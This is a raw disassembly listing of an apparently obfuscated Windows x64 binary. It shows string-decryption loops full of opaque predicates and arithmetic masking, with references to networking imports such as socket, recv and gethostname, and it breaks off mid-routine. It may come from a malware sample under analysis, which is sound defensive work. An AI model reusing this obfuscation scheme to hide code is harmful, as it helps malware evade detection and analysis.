movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
inc r11b
jmp 0x140079134
lea rcx, [rbp + 0x14260bc]
jmp 0x1400798c3
lea rcx, [rbp + 0xb4feff]
jmp 0x1400798c3
lea rcx, [rbp + 0xbb8]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x14022a1e0]
lea rcx, [rbp + 0x528]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov r14, rax
mov byte [rbp + 0xbe0], Ordinal_200
mov byte [rbp + 0xbe1], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xbe2], gethostname
mov byte [rbp + 0xbe3], 0x58
mov byte [rbp + 0xbe4], Ordinal_143
mov byte [rbp + 0xbe5], 0xac
mov byte [rbp + 0xbe6], 0x50
mov byte [rbp + 0xbe7], 0x54
mov byte [rbp + 0xbe8], Ordinal_79
mov byte [rbp + 0xbe9], 0x50
mov byte [rbp + 0xbea], 0xec
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbeb], xmm0
mov qword [rbp + 0xbfb], rax
movabs r15, 0x8d45e33e491d4201
movabs r13, 0x68e0509656e371a5
movzx ebx, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor esi, esi
movabs rcx, 0xa5341702f74a893d
cmp rsi, 0x23
jae 0x14007a5d7
movzx edi, byte [rbp + rsi + 0xbe0]
mov rdx, rdi
cmp r8, rsi
ja 0x14007a5ce
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400799db
add rcx, rsi
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x55
jmp 0x140079a14
je 0x14007a572
inc rax
cmp r8, rax
je 0x14007a50a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007a4da
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007a4b2
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007a460
cmp r9, rsi
ja 0x14007a5c5
lea rax, [r9 + 4]
cmp r8, rax
jae 0x140079a3f
lea rdx, [rsi + r15]
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 7
add bl, dl
jmp 0x140079a80
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007a43e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007a415
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007a3e4
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007a38f
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007a35c
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x140079f9d
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140079f7b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140079f4b
lea rax, [r9 + 8]
cmp r8, rax
je 0x140079f23
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140079eea
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140079eb9
lea rax, [r9 + 5]
cmp r8, rax
je 0x140079e92
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140079e5e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140079a90
mov r8, rax
lea r9, [rax + 0x28]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007a5a3
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140079be9
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140079bcd
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140079e04
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140079da7
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140079d5a
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140079a90
mov r8, rax
lea r9, [rax + 0x64]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140079d22
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140079cfb
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140079cc5
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140079c8c
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140079c6a
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140079c3a
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140079c18
lea r8, [r9 + 2]
lea r9, [r8 + 2]
jmp 0x140079a90
lea rdx, [rsi + r13]
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
add bl, 0x7d
add bl, dl
jmp 0x140079a14
movabs rdx, 0x1e782290684e5f2b
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub dl, 0x2d
add bl, dl
movabs rcx, 0xa5341702f74a893d
jmp 0x1400799ae
movabs rcx, 0x6a2f19f248ea1008
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x38
jmp 0x14007a47d
movabs rdx, 0x1fc6ebec5a54fd8e
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
inc r9
dec rsi
inc rsi
jmp 0x140079992
movabs rcx, 0x8af68fe07d2ad89a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x36
jmp 0x14007a2f1
movabs rdx, 0x408e61da8e95c620
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
movabs rdx, 0xf62633d4a000b3a6
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
movabs rdx, 0x6155d7c8c2d68eb2
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14007a529
movabs rdx, 0x16eda9c2d4417c38
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, byte [rbp + rsi + 0xbe0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140079992
movabs rcx, 0x928108ae1137bb8d
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 0x25
add cl, dil
cmp r9, 2
jb 0x14007a2b8
movabs rcx, 0xd2c12b2e87b2ae4e
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea ebx, [rcx*2 - 0x44]
jmp 0x14007a47d
movabs rdx, 0x4818daa822a2a913
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x7b
add cl, dl
cmp r8, 0x64
jae 0x14007a2ca
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14007a1da
movabs rdx, 0xeaaf5ef335dff58a
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, dil
add cl, dl
jmp 0x140079d77
movabs rcx, 0xfdb0aca2340d9699
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x2f
add cl, dil
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x14007a331
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14007a114
movabs rcx, 0x5d697bb4ecc2b389
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 0x41
add cl, dil
jmp 0x140079dc7
movabs rcx, 0x4fa35375b6af8c06
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x2a
movzx eax, byte [rbp + rsi + 0xbe0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140079992
movabs rdx, 0x53b256fc81a798c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14007a529
movabs rcx, 0x706ac963eaf05498
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x28
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
movabs rdx, 0x26029b5dfc5b421e
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
movabs rcx, 0x91323f521f311d2a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x26
dec rsi
inc rsi
jmp 0x140079992
movabs rdx, 0x46ca114c309c0ab0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
inc r9
dec rsi
inc rsi
jmp 0x140079992
movabs rcx, 0xfc61e3464206f836
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x7a
jmp 0x14007a47d
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x140079fc8
movabs rcx, 0xa5341702f74a893d
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 0x55
jmp 0x140079e1e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007a004
movabs rcx, 0x1a8bc67c923a8402
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0xe
movzx eax, byte [rbp + rsi + 0xbe0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140079992
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a034
movabs rdx, 0xaf5c22886f64a8f6
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14007a3ac
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007a06f
movabs rcx, 0xf9c4508e5df9bb70
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007a0ad
movabs rcx, 0x442c7e944c8ecdea
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x66
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007a0dd
movabs rdx, 0x8e94ac9a3b23e064
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x14007a2f1
movzx ecx, bl
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140079e21
movabs rdx, 0x6dcd36ac06e317d2
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14007a47d
lea rdx, [r9 + 1]
cmp r8, rdx
jne 0x14007a13f
movabs rcx, 0xa7d1a9badb57c603
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x15
jmp 0x14007a47d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007a170
movabs rcx, 0x3ca205c6b881eaf7
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x3f
dec rsi
inc rsi
jmp 0x140079992
lea rax, [rdx + 1]
cmp r8, rax
jne 0x14007a19b
movabs rcx, 0x870a33cca716fd71
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x17
jmp 0x14007a2f1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140079dc7
movabs rcx, 0x1bda8fd884412265
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
add bl, 0x3d
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a216
movabs rcx, 0x35178cf924750804
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x1c
movzx eax, byte [rbp + rsi + 0xbe0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140079992
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a246
movabs rdx, 0xc9e7e905019f2cf8
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14007a3ac
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007a283
movabs rcx, 0x5eb84510dec951ec
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x74
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140079d77
movabs rcx, 0xf388a11cbbf376e0
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x20
dec rsi
inc rsi
jmp 0x140079992
mov byte [rbp + rsi + 0xbe0], cl
movzx ebx, cl
inc rsi
jmp 0x140079992
movabs rdx, 0x1d2959347647c0c8
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx ebx, byte [rbp + rsi + 0xbe0]
sub bl, al
sub bl, 0x78
add bl, dl
add bl, dil
movabs rdx, 0xc25d70376d924a05
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x23
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0xbe0], cl
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
movabs rdx, 0x6791873a64dcd342
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + rsi + 0xbe0]
add bl, dl
add bl, dil
jmp 0x14007a3ac
movabs rcx, 0x2aef8173ac5ae84b
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0xd
movzx eax, byte [rbp + rsi + 0xbe0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140079992
movabs rcx, 0x961f2567cf30c357
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x61
movabs rdx, 0xcc59e3d5c275c7f
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x79
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0xbe0], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x14007a529
movabs rcx, 0x4bb6f761e09bb0dd
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0xb
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
movabs rcx, 0x6c7e6d5014dc796f
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 9
dec rsi
inc rsi
jmp 0x140079992
movabs rdx, 0xd7ae114437b2547b
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x5d
add bl, dl
jmp 0x14007a47d
movabs rcx, 0x42ddb5385a882f87
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x4f
movabs rcx, 0x77f542317efd378b
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
add dil, 0x33
add dil, cl
mov byte [rbp + rsi + 0xbe0], dil
inc r9
dec rsi
inc rsi
jmp 0x140079992
movabs rcx, 0xae0d592c7d5e0a93
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 5
dec rsi
inc rsi
jmp 0x140079992
movabs rcx, 0xced4cf1ab19ed325
add rcx, rsi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 3
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140079992
mov rdi, rdx
movabs rcx, 0x3a04730ed474ae31
add rcx, rsi
and dl, cl
add dl, dl
movzx ebx, dil
sub bl, dl
sub bl, 0x57
add bl, cl
movabs rcx, 0xb1f9b5405371e5bc
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
sub dil, 0x24
add dil, cl
mov byte [rbp + rsi + 0xbe0], dil
inc r8
mov rax, r12
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xbe0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140079992
movabs rcx, 0xef9c4508e5df9bb7
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
dec bl
movzx eax, byte [rbp + rsi + 0xbe0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140079992
movabs rcx, 0x89a7c6848b243a37
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x7f
jmp 0x140079971
lea rcx, [rbp + 0x15440dc]
jmp 0x14007a5de
lea rcx, [rbp + 0x5eca19]
jmp 0x14007a5de
lea rcx, [rbp + 0xbe0]
mov rdx, r14
call fcn.140035c60
lea rdx, [0x14022a0a0]
lea rcx, [rbp + 0x548]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rsi, rax
mov byte [rbp + 0xc08], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xc09], Ordinal_45
mov byte [rbp + 0xc0a], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xc0b], Ordinal_45
mov byte [rbp + 0xc0c], 0x55
mov byte [rbp + 0xc0d], Ordinal_45
mov byte [rbp + 0xc0e], 0x55
mov byte [rbp + 0xc0f], 0x52
mov byte [rbp + 0xc10], 0x88
mov byte [rbp + 0xc11], WSASetLastError
mov byte [rbp + 0xc12], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xc13], Ordinal_79
mov byte [rbp + 0xc14], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xc15], gethostname
mov byte [rbp + 0xc16], 0xae
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc17], xmm0
mov dword [rbp + 0xc27], eax
movabs r14, 0xfcdf9ef93ed75288
movabs r15, 0xae5a719656ce2e78
movabs r13, 0xdf69b7c7be88e9a8
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0xe7785ce74c22a268
cmp rdi, 0x23
jae 0x14007b46e
movzx ebx, byte [rbp + rdi + 0xc08]
mov r10, rbx
cmp r8, rdi
ja 0x14007b465
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007a71c
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x28
jmp 0x14007a755
je 0x14007b3d7
inc rax
cmp r8, rax
je 0x14007b36c
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007b312
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007b2dc
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007b28a
cmp r9, rdi
ja 0x14007b45c
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14007a783
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a7d0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14007b26a
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007b247
lea rax, [rcx + 1]
cmp r8, rax
je 0x14007b222
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007b20c
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007b1d3
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14007ae3f
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007ae17
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007adeb
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007adc2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007ad9a
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007ad72
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007ad3f
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007ad1a
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007acf5
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007acc1
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007a7e0
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007b434
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14007b411
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14007a9dd
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14007a9be
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007a9a4
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14007ac60
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007ac02
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007abb2
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007ab84
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007a7e0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14007ab50
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007ab2b
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14007ab06
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007aad3
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14007aab4
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007aa8c
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007aa63
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14007aa37
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007aa0f
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007a7e0
lea r8, [r9 + 3]
lea r9, [r8 + 8]
jmp 0x14007a7e0
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x14007a7d0
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a755
movabs rdx, 0x1078fdf92643a4d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0xe7785ce74c22a268
jmp 0x14007a6ee
movabs rdx, 0xe6fcf7c9f6ba9440
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007b2a8
movabs rcx, 0x180c3dfb5e754f70
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
inc r9
dec rdi
inc rdi
jmp 0x14007a6d2
movabs rcx, 0x491b842cc6300aa0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x14007a6d2
movabs rdx, 0x7a2aca5e2deac5d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007b17b
movabs rcx, 0xab3a108f95a58100
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
jmp 0x14007b2fa
movabs rcx, 0xdc4956c0fd603c30
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007a6d2
movabs rdx, 0xd589cf2651af760
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b336
movabs rdx, 0x3e67e323ccd5b290
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b390
movabs rcx, 0x6f77295534906dc0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a6d2
movabs rcx, 0xea1d58d0b7e341b8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 8
mov byte [rbp + rdi + 0xc08], r11b
inc rdi
jmp 0x14007a6d2
movabs rdx, 0x1b2c9f021f9dfce8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
add r11b, dl
cmp r9, 0x64
jb 0x14007aba2
movabs rdx, 0x39f5042855ccb570
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x20]
jmp 0x14007b2a8
movabs rdx, 0x4c3be5338758b818
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 0x5a
jae 0x14007b150
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14007b040
movabs rdx, 0x248dc21663180550
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
jmp 0x14007abd1
movabs rdx, 0x7d4b2b64ef137348
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 9
je 0x14007b1a9
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14007af94
movabs rcx, 0x27ae231d2440b2c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x14007ac25
movabs rcx, 0xed3db9d7790bef30
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a6d2
movabs rdx, 0x1e4d0008e0c6aa60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b390
movabs rdx, 0x4f5c463a48816590
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b336
movabs rcx, 0x806b8c6bb03c20c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007a6d2
movabs rdx, 0xb17ad29d17f6dbf0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007b2fa
movabs rdx, 0xe28a18ce7fb19720
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007b17b
movabs rcx, 0x13995effe76c5250
add rcx, rdi
movzx eax, bl
